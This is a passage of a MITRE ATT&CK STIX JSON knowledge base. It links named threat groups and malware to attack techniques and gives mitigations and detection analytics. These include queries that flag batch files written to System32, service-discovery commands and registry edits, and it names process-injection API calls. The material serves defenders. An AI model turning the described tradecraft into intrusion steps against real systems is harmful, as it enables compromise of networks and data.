"attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b", "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6f27258-cf6a-4d75-a3f0-5de085d528d2", "type": "relationship", "created": "2019-07-17T15:45:37.529Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/en-us/library/dn408187.aspx", "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.", "source_name": "Microsoft LSA"}], "modified": "2021-07-20T23:03:00.799Z", "description": "\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA.(Citation: Microsoft LSA)", "relationship_type": "mitigates", "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a6f2748c-49ec-4027-8b29-4fee3128cc2e", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:51:54.687Z", "description": "Monitor for newly constructed files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).\n\nWhile batch files are not inherently malicious, it is uncommon to see them created after OS installation, especially in the Windows directory. This analytic looks for the suspicious activity of a batch file being created within the C:\\Windows\\System32 directory tree. There will be only occasional false positives due to administrator actions.\n\nFor Windows, Sysmon Event ID 11 (File create) can be used to track file creation events. This event also provides the Process ID of the process that created the file, which can be correlated with process creation events (e.g., Sysmon Event ID 1) to determine if the file was downloaded from an external network.\n\nFor MacOS, utilities that work in concert with Apple\u2019s Endpoint Security Framework such as File Monitor can be used to track file creation events.\n\nAnalytic 1 - Batch File Write to System32\n\n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"11\") file_path=\"*system32*\" AND file_extension=\".bat\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6fe230f-9e76-46a5-a235-2990009d8c4a", "type": "relationship", "created": "2020-07-15T19:02:25.057Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM IcedID November 2017", "url": "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", "description": "Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."}], "modified": "2020-08-14T14:25:53.816Z", "description": "[IcedID](https://attack.mitre.org/software/S0483) has used <code>ZwQueueApcThread</code> to inject itself into remote processes.(Citation: IBM IcedID November 2017)", "relationship_type": "uses", "source_ref": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d", "target_ref": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a6ff725c-1c60-44dd-8f78-22f1b009bbb5", "created": "2022-10-11T15:48:31.541Z", "revoked": false, "external_references": [{"source_name": "SentinelOne Aoqin Dragon June 2022", "description": "Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-11T15:48:31.541Z", "description": "[Aoqin Dragon](https://attack.mitre.org/groups/G1007) obtained the Heyoka open source exfiltration tool and subsequently modified it for their operations.(Citation: SentinelOne Aoqin Dragon June 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a7005b59-48e5-4852-90f7-ed8d2c3698fa", "created": "2023-06-29T18:35:55.266Z", "revoked": false, "external_references": [{"source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023", "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. Retrieved June 8, 2023.", "url": "https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-06-29T18:35:55.266Z", "description": "[Uroburos](https://attack.mitre.org/software/S0022) can use up to 10 channels to communicate between implants.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)", "relationship_type": "uses", "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a700e6c3-ee0a-4eb9-9f1a-4ce741d04837", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T16:13:30.494Z", "description": "Monitor for newly executed processes with arguments that may try to get information about registered services. System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). For event id 4688, depending on Windows version, you might need to enable <code> Administrative Templates\\System\\Audit Process Creation\\Include command line in process creation events </code> group policy to include command line in process creation events.\n\nAnalytic 1 -  Suspicious Processes\n\n<code>((source=WinEventLog:\"*Security\" EventCode=\"4688\") OR (source=WinEventLog:\"*Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") \n| WHERE ((CommandLine LIKE \"%sc%\" AND CommandLine LIKE \"%query%\") OR \n   (CommandLine LIKE \"%tasklist%\" AND CommandLine LIKE \"%/svc%\") OR\n   (CommandLine LIKE \"%systemctl%\" AND CommandLine LIKE \"%--type=service%\") OR\n   (CommandLine LIKE \"%net%\" AND CommandLine LIKE \"%start%\"))</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a7018df5-2a56-4731-ba57-5fe4ac73bac6", "created": "2021-10-01T01:57:31.775Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Trend Micro TeamTNT", "description": "Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.", "url": "https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-19T19:52:11.166Z", "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) has enumerated the host machine\u2019s IP address.(Citation: Trend Micro TeamTNT)", "relationship_type": "uses", "source_ref": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a70a6fbd-379d-4104-8323-ce25a950c892", "type": "relationship", "created": "2019-01-29T21:40:37.640Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler Cobian Aug 2017", "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat", "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018."}], "modified": "2020-03-20T22:39:14.412Z", "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) obfuscates communications with the C2 server using Base64 encoding.(Citation: Zscaler Cobian Aug 2017)", "relationship_type": "uses", "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a70bd01d-1d79-44e7-afe4-3a83e5a8d70c", "created": "2019-09-24T12:53:12.486Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}, {"source_name": "Group IB APT 41 June 2021", "description": "Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.", "url": "https://www.group-ib.com/blog/colunmtk-apt41/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:45:58.865Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) has enumerated IP addresses of network resources and used the <code>netstat</code> command as part of network reconnaissance. The group has also used a malware variant, HIGHNOON, to enumerate active RDP sessions.(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a70d06e8-63dd-4cb3-83a5-f7bd8f2a8132", "type": "relationship", "created": "2017-05-31T21:33:27.079Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/winnti-more-than-just-a-game/37029/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", "source_name": "Kaspersky Winnti April 2013"}, {"url": "https://securelist.com/games-are-over/70991/", "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.", "source_name": "Kaspersky Winnti June 2015"}], "modified": "2019-03-25T17:15:03.485Z", "description": "(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)", "relationship_type": "uses", "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", "target_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a70ec2cc-5eeb-41c3-8dd3-2816a9010104", "created": "2019-08-26T15:27:12.987Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "EST Kimsuky April 2019", "url": "https://blog.alyac.co.kr/2234", "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019."}, {"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}, {"source_name": "Netscout Stolen Pencil Dec 2018", "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/", "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."}, {"source_name": "CISA AA20-301A Kimsuky", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}, {"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}, {"source_name": "Securelist Kimsuky Sept 2013", "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/", "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a PowerShell-based keylogger as well as a tool called MECHANICAL to log keystrokes.(Citation: EST Kimsuky April 2019)(Citation: Securelist Kimsuky Sept 2013)(Citation: CISA AA20-301A Kimsuky)(Citation: Netscout Stolen Pencil Dec 2018)(Citation: Talos Kimsuky Nov 2021)(Citation: KISA Operation Muzabi)", "modified": "2022-04-12T18:23:04.595Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a71256aa-a2e3-447c-ba4e-004ba4f062b2", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender APT28 Dec 2015", "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}], "modified": "2020-03-16T15:53:20.517Z", "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is capable of setting and deleting Registry values.(Citation: Bitdefender APT28 Dec 2015)", "relationship_type": "uses", "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a713d0d3-2897-4da2-995f-df3a40f04b29", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}], "modified": "2020-03-17T01:57:57.445Z", "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) will attempt to detect if the infected host is configured to a proxy. If so, [NETEAGLE](https://attack.mitre.org/software/S0034) will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000.(Citation: FireEye APT30)", "relationship_type": "uses", "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a714680b-edab-459c-bb8f-cc313cfc4372", "type": "relationship", "created": "2022-03-30T14:26:51.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.859Z", "description": "Monitor newly executed processes that may abuse Microsoft Office templates to obtain persistence on a compromised system.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a7180b8e-c580-49ab-bbfb-e56e8ab48823", "type": "relationship", "created": "2017-05-31T21:33:27.050Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "source_name": "F-Secure The Dukes"}], "modified": "2019-07-25T14:25:53.493Z", "description": "(Citation: F-Secure The Dukes)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a7213656-7166-4b88-8d32-f388a2ef1671", "type": "relationship", "created": "2021-10-12T19:44:57.908Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Lazarus KillDisk April 2018", "description": "K\u00e1lnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.", "url": "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/"}], "modified": "2021-10-12T19:44:57.908Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has obtained and used open-source tools such as [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: ESET Lazarus KillDisk April 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a721a012-3006-476c-88a7-19bfc52bbce4", "type": "relationship", "created": "2022-03-30T14:26:51.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.863Z", "description": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017) Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Elastic Process Injection July 2017", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}, {"source_name": "GNU Acct", "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", "url": "https://www.gnu.org/software/acct/"}, {"source_name": "RHEL auditd", "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"}, {"source_name": "Chokepoint preload rootkits", "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a724a449-cd4d-419a-90a0-cdd5927c60b7", "type": "relationship", "created": "2020-05-13T19:59:39.334Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky MoleRATs April 2019", "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}], "modified": "2020-05-13T19:59:39.334Z", "description": "[DustySky](https://attack.mitre.org/software/S0062) captures PNG screenshots of the main screen.(Citation: Kaspersky MoleRATs April 2019)", "relationship_type": "uses", "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a726ffe8-d192-4f40-be21-ba2ffe32c670", "type": "relationship", "created": "2021-03-23T20:49:40.256Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ShadowPad Aug 2017", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf", "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."}], "modified": "2021-03-23T20:49:40.256Z", "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has used UDP for C2 communications.(Citation: Kaspersky ShadowPad Aug 2017)", "relationship_type": "uses", "source_ref": "malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a72a96fc-c76e-4c55-9ea6-4315246c15db", "created": "2022-10-13T18:53:11.225Z", "revoked": false, "external_references": [{"source_name": "MSTIC DEV-0537 Mar 2022", "description": "MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.", "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T18:53:11.225Z", "description": "[LAPSUS$](https://attack.mitre.org/groups/G1004) has spammed target users with MFA prompts in the hope that the legitimate user will grant necessary approval.(Citation: MSTIC DEV-0537 Mar 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7", "target_ref": "attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a72ce53b-311d-43f2-b145-784c322306c1", "type": "relationship", "created": "2019-02-18T18:26:55.749Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.", "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/", "source_name": "ESET Sednit 2017 Activity"}], "modified": "2019-05-14T17:10:21.995Z", "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) can use a DGA for [Fallback Channels](https://attack.mitre.org/techniques/T1008), domains are generated by concatenating words from lists.(Citation: ESET Sednit 2017 Activity)", "relationship_type": "uses", "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a72eb24f-256b-4d88-a839-55d1d35833bb", "created": "2022-06-16T13:06:00.574Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:23:14.260Z", "description": "Monitor for newly executed processes executed from the Run/RunOnce registry keys through Windows EID 9707 or \u201cSoftware\\Microsoft\\Windows\\CurrentVersion\\Run\u201d and \u201cSoftware\\Microsoft\\Windows\\CurrentVersion\\RunOnce\u201d registry keys with the full command line.\n\nRegistry modifications are often essential in establishing persistence via known Windows mechanisms. Many legitimate modifications are done graphically via\u00a0regedit.exe\u00a0or by using the corresponding channels, or even calling the Registry APIs directly. The built-in utility\u00a0reg.exe\u00a0provides a\u00a0command-line interface\u00a0to the registry, so that queries and modifications can be performed from a shell, such as\u00a0cmd.exe. When a user is responsible for these actions, the parent of\u00a0cmd.exe\u00a0will likely be\u00a0explorer.exe. Occasionally, power users and administrators write scripts that do this behavior as well, but likely from a different process tree. These background scripts must be learned so they can be tuned out accordingly.\n\nOutput Description\nThe sequence of processes that resulted in\u00a0reg.exe\u00a0being started from a shell. That is, a hierarchy that looks like\n\u2022 great-grand_parent.exe\n\u2022 grand_parent.exe\n\u2022 parent.exe\n\u2022 reg.exe\n\nAnalytic 1 - Reg.exe called from Command Shell\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"reg.exe\" AND ParentImage=\"cmd.exe\"\n| join left=L right=R where L.ParentProcessGuid = R.ProcessGuid \n    [search EventCode IN (1, 4688) Image=\"*cmd.exe\" ParentImage!=\"*explorer.exe\"]</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": 